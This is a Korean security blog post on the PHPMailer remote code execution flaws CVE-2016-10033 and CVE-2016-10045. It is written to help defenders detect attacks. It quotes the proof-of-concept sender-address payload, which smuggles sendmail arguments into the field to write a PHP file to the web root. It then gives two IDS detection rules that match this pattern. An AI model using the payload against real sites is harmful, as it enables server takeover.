티스토리 뷰

1. 취약점 설명

CVE-2016-10033 취약점 분석 참고



공격 유형 (벡터)


1) CVE-2016-10033


1) PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)

// Attacker's input coming from untrusted source such as $_GET , $_POST etc.

// For example from a Contact form


$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';

$msg_body  = "<?php phpinfo(); ?>";




2) CVE-2016-10045

2) Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)

// Attacker's input coming from untrusted source such as $_GET , $_POST etc.

// For example from a Contact form


$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';

$msg_body  = "<?php phpinfo(); ?>";



2. 탐지 Rule 

두가지 모두 같은 문자열을 탐지하기 위한 Rule로 1) pcre 기반, 2) content 기반 2가지로 생성 하였습니다. 
(중복룰로 둘중 하나면 사용하면 되어 모두 sid 1로 생성하였습니다.)

1) 

alert tcp any any -> any any (msg:"Vulmon_PHPMailer_RCE"; pcre:"/\\\".{1,40}-oQ.{1,40}-X.{1,40}\.php.{1,40}@/i"; reference:url,legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html;  reference:url,legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html; sid:1; rev:2;)


2)

alert tcp any any -> any any (msg:"Vulmon_PHPMailer_RCE2"; content:"|5C 22|"; content:"-oQ"; within:40; nocase; content:"-X"; within:40; content:"php"; within:40; nocase; content:"@"; within:40; reference:url,legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html;  reference:url,legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html; sid:2; rev:1;)



'Vulmon Rule' 카테고리의 다른 글

Apache Struts2 RCE S2-046 - CVE-2017-5638_2  (0) 2017.03.22
Apache Struts2 RCE S2-045 - CVE-2017-5638  (0) 2017.03.12
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함